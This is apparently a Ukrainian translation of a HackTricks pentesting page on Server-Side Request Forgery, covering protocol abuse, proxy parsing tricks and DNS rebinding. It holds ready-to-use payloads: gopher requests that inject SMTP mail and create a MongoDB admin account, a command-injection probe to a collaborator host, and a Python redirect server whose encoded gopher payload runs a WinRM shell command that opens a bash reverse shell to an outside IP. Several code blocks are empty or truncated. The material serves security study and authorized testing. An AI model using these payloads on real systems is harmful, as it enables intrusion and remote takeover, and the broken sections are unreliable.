# SSRF (Server Side Request Forgery) {{#include ../../banners/hacktricks-training.md}} ## Основна інформація Вразливість **Server-side Request Forgery (SSRF)** виникає, коли зловмисник маніпулює **сервісом на стороні сервера**, змушуючи його робити **HTTP запити** до домену на свій вибір. Ця вразливість відкриває сервер для довільних зовнішніх запитів, спрямованих зловмисником. ## Захоплення SSRF Перше, що вам потрібно зробити, це захопити взаємодію SSRF, згенеровану вами. Для захоплення HTTP або DNS взаємодії ви можете використовувати такі інструменти: - **Burp Collaborator** - [**pingb**](http://pingb.in) - [**canarytokens**](https://canarytokens.org/generate) - [**interractsh**](https://github.com/projectdiscovery/interactsh) - [**http://webhook.site**](http://webhook.site) - [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff) - [http://requestrepo.com/](http://requestrepo.com/) - [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) - [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Burp Collaborator, що використовує ngrok ## Обхід доменів у білому списку Зазвичай ви виявите, що SSRF працює лише в **певних доменах у білому списку** або URL. На наступній сторінці ви знайдете **збірку технік для спроби обійти цей білый список**: {{#ref}} url-format-bypass.md {{#endref}} ### Обхід через відкритий редирект Якщо сервер правильно захищений, ви можете **обійти всі обмеження, експлуатуючи відкритий редирект на веб-сторінці**. Оскільки веб-сторінка дозволяє **SSRF до того ж домену** і, ймовірно, буде **слідувати редиректам**, ви можете експлуатувати **відкритий редирект, щоб змусити сервер отримати доступ до будь-якого внутрішнього ресурсу**.\ Детальніше читайте тут: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Протоколи - **file://** - URL-схема `file://` посилається безпосередньо на `/etc/passwd`: `file:///etc/passwd` - **dict://** - URL-схема DICT описується як така, що використовується для доступу до визначень або списків слів через протокол DICT. Наведено приклад, що ілюструє конструкцію URL, націлену на конкретне слово, базу даних і номер запису, а також випадок потенційного зловживання PHP-скриптом для підключення до сервера DICT з наданими зловмисником обліковими даними: `dict://;@:/d:::` - **SFTP://** - Визначено як протокол для безпечного передачі файлів через захищений канал, наведено приклад, що демонструє, як PHP-скрипт може бути експлуатований для підключення до шкідливого SFTP-сервера: `url=sftp://generic.com:11111/` - **TFTP://** - Протокол простого передачі файлів, що працює через UDP, згадується з прикладом PHP-скрипта, призначеного для надсилання запиту до TFTP-сервера. Запит TFTP надсилається до 'generic.com' на порту '12346' для файлу 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` - **LDAP://** - Цей сегмент охоплює Lightweight Directory Access Protocol, підкреслюючи його використання для управління та доступу до розподілених служб інформації про каталоги через IP-мережі. Взаємодія з LDAP-сервером на localhost: `'%0astats%0aquit' через ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` - **SMTP** - Описано метод експлуатації вразливостей SSRF для взаємодії з SMTP-сервісами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальших розслідувальних дій на основі цієї інформації. ``` From https://twitter.com/har1sec/status/1182255952055164929 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains 4. connect ``` - **Curl URL globbing - WAF обход** - Якщо SSRF виконується за допомогою **curl**, curl має функцію, звану [**URL globbing**](https://everything.curl.dev/cmdline/globbing), яка може бути корисною для обходу WAF. Наприклад, у цьому [**описі**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) ви можете знайти цей приклад для **перетворення шляху через протокол `file`**: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` - **Gopher://** - Обговорюється можливість протоколу Gopher вказувати IP, порт і байти для зв'язку з сервером, а також інструменти, такі як Gopherus і remote-method-guesser для створення payloads. Ілюструються два різні використання: ### Gopher:// Використовуючи цей протокол, ви можете вказати **IP, порт і байти**, які ви хочете, щоб сервер **надіслав**. Тоді ви можете в основному експлуатувати SSRF для **зв'язку з будь-яким TCP сервером** (але вам потрібно знати, як спілкуватися з сервісом спочатку).\ На щастя, ви можете використовувати [Gopherus](https://github.com/tarunkant/Gopherus) для створення payloads для кількох сервісів. Крім того, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) може бути використаний для створення _gopher_ payloads для _Java RMI_ сервісів. **Gopher smtp** ``` ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost MAIL FROM: RCPT TO: DATA From: [Hacker] To: Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AHYou didn't say the magic word ! . QUIT ``` **Gopher HTTP** ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` **Gopher SMTP — Повернене з'єднання до 1337** ```php:redirect.php Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` #### Gopher MongoDB -- Створити користувача з ім'ям користувача=admin з паролем=admin123 та з правами=адміністратор ```bash # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a %00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00% 06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00 %00%00administrator%00%00%00%00' ``` ## SSRF через заголовок Referrer та інші Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, що випадково піддає програми вразливостям Server-Side Request Forgery (SSRF). Це відбувається тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, згадані в заголовку Referrer, для аналізу вмісту реферального сайту. Для виявлення цих вразливостей рекомендується плагін Burp Suite "**Collaborator Everywhere**", який використовує спосіб обробки заголовка Referer аналітичними інструментами для ідентифікації потенційних поверхонь атаки SSRF. ## SSRF через дані SNI з сертифіката Неправильна конфігурація, яка може дозволити з'єднання з будь-яким бекендом через просту настройку, ілюструється прикладом конфігурації Nginx: ``` stream { server { listen 443; resolver 127.0.0.11; proxy_pass $ssl_preread_server_name:443; ssl_preread on; } } ``` У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Ця налаштування відкриває вразливість до Server-Side Request Forgery (SSRF), яку можна експлуатувати, просто вказавши бажану IP-адресу або доменне ім'я в полі SNI. Приклад експлуатації для примусового з'єднання з довільним бекендом, таким як `internal.host.com`, за допомогою команди `openssl` наведено нижче: ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` ## [Wget file upload](../file-upload/index.html#wget-file-upload-ssrf-trick) ## SSRF з Command Injection Можливо, варто спробувати payload, наприклад: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## Рендеринг PDF Якщо веб-сторінка автоматично створює PDF з деякою інформацією, яку ви надали, ви можете **вставити деякий JS, який буде виконаний самим PDF-генератором** (сервером) під час створення PDF, і ви зможете зловживати SSRF. [**Знайдіть більше інформації тут**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** ## Від SSRF до DoS Створіть кілька сесій і спробуйте завантажити великі файли, експлуатуючи SSRF з сесій. ## PHP функції SSRF Перевірте наступну сторінку на наявність вразливих PHP та навіть Wordpress функцій: {{#ref}} ../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md {{#endref}} ## SSRF перенаправлення на Gopher Для деяких експлуатацій вам може знадобитися **надіслати відповідь на перенаправлення** (можливо, щоб використовувати інший протокол, наприклад gopher). Ось різні коди на python для відповіді з перенаправленням: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler import ssl class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True) httpd.serve_forever() ``` ```python from flask import Flask, redirect from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301) if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` ## Неправильно налаштовані проксі для SSRF Трюки [**з цього посту**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). ### Flask
Вразливий код проксі Flask ```python from flask import Flask from requests import get app = Flask('__main__') SITE_NAME = 'https://google.com' @app.route('/', defaults={'path': ''}) @app.route('/') def proxy(path): return get(f'{SITE_NAME}{path}').content if __name__ == "__main__": app.run(threaded=False) ```
Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкову назву хоста іменем користувача** та інжектувати нове. Запит атаки: ```http GET @evildomain.com/ HTTP/1.1 Host: target.com Connection: close ``` ### Spring Boot Вразливий код:
Було виявлено, що можливо **почати шлях** запиту з символу **`;`**, що дозволяє потім використовувати **`@`** та інжектувати новий хост для доступу. Запит атаки: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` ### PHP вбудований веб-сервер
Вразливий PHP код ```php ```
PHP дозволяє використовувати **символ `*` перед слешем у шляху** URL, однак має інші обмеження, такі як те, що його можна використовувати лише для кореневого шляху `/` і що крапки `.` не дозволені перед першим слешем, тому потрібно використовувати IP-адресу, закодовану в шістнадцятковому форматі без крапок, наприклад: ```http GET *@0xa9fea9fe/ HTTP/1.1 Host: target.com Connection: close ``` ## DNS Rebidding CORS/SOP обход Якщо у вас є **проблеми** з **екстракцією контенту з локальної IP-адреси** через **CORS/SOP**, **DNS Rebidding** може бути використано для обходу цього обмеження: {{#ref}} ../cors-bypass.md {{#endref}} ### Автоматизований DNS Rebidding [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) - це інструмент для виконання [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) атак. Він включає необхідні компоненти для повторного зв'язування IP-адреси DNS-імені сервера атаки з IP-адресою цільової машини та для подачі атакуючих навантажень для експлуатації вразливого програмного забезпечення на цільовій машині. Перегляньте також **публічно працюючий сервер у** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) ## DNS Rebidding + TLS Session ID/Session ticket Вимоги: - **SSRF** - **Вихідні TLS сесії** - **Речі на локальних портах** Атака: 1. Попросіть користувача/бота **доступитися** до **домена**, контрольованого **зловмисником** 2. **TTL** **DNS** становить **0** сек (тому жертва незабаром перевірить IP домена знову) 3. Створюється **TLS з'єднання** між жертвою та доменом зловмисника. Зловмисник вводить **навантеження всередину** **Session ID або Session Ticket**. 4. **Домен** почне **безкінечний цикл** перенаправлень проти **себе**. Мета цього - змусити користувача/бота отримати доступ до домену, поки він не виконає **знову** **DNS запит** домену. 5. У DNS запиті **тепер** надається **приватна IP** адреса (127.0.0.1, наприклад) 6. Користувач/бот спробує **відновити TLS з'єднання** і для цього він **надішле** **Session** ID/Ticket ID (де містилося **навантеження** зловмисника). Тож вітаємо, ви змогли змусити **користувача/бота атакувати себе**. Зверніть увагу, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (_memcache_), вам потрібно змусити жертву встановити початкове з'єднання з www.attacker.com:11211 (**порт завжди має бути однаковим**).\ Щоб **виконати цю атаку, ви можете використовувати інструмент**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ Для **додаткової інформації** ознайомтеся з доповіддю, де пояснюється ця атака: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference) ## Сліпа SSRF Різниця між сліпою SSRF і не сліпою полягає в тому, що в сліпій ви не можете бачити відповідь на запит SSRF. Тоді експлуатувати її складніше, оскільки ви зможете експлуатувати лише добре відомі вразливості. ### Часова SSRF **Перевіряючи час** відповідей від сервера, можливо, **можна дізнатися, чи існує ресурс чи ні** (можливо, доступ до існуючого ресурсу займає більше часу, ніж доступ до неіснуючого) ## Експлуатація Cloud SSRF Якщо ви знайдете вразливість SSRF на машині, що працює в хмарному середовищі, ви можете отримати цікаву інформацію про хмарне середовище та навіть облікові дані: {{#ref}} cloud-ssrf.md {{#endref}} ## Платформи вразливі до SSRF Кілька відомих платформ містять або містили вразливості SSRF, перевірте їх у: {{#ref}} ssrf-vulnerable-platforms.md {{#endref}} ## Інструменти ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) Інструмент для виявлення та експлуатації вразливостей SSRF ### [Gopherus](https://github.com/tarunkant/Gopherus) - [Блог про Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) Цей інструмент генерує Gopher навантаження для: - MySQL - PostgreSQL - FastCGI - Redis - Zabbix - Memcache ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [Блог про використання SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) _remote-method-guesser_ - це сканер вразливостей _Java RMI_, який підтримує операції атаки для найбільш поширених вразливостей _Java RMI_. Більшість доступних операцій підтримують опцію `--ssrf`, щоб згенерувати _SSRF_ навантаження для запитуваної операції. Разом з опцією `--gopher` можна безпосередньо генерувати готові до використання _gopher_ навантаження. ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy) SSRF Proxy - це багатопотоковий HTTP проксі-сервер, призначений для тунелювання HTTP-трафіку клієнта через HTTP-сервери, вразливі до Server-Side Request Forgery (SSRF). ### Для практики {{#ref}} https://github.com/incredibleindishell/SSRF_Vulnerable_Lab {{#endref}} ## Посилання - [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) - [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/) - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) {{#include ../../banners/hacktricks-training.md}}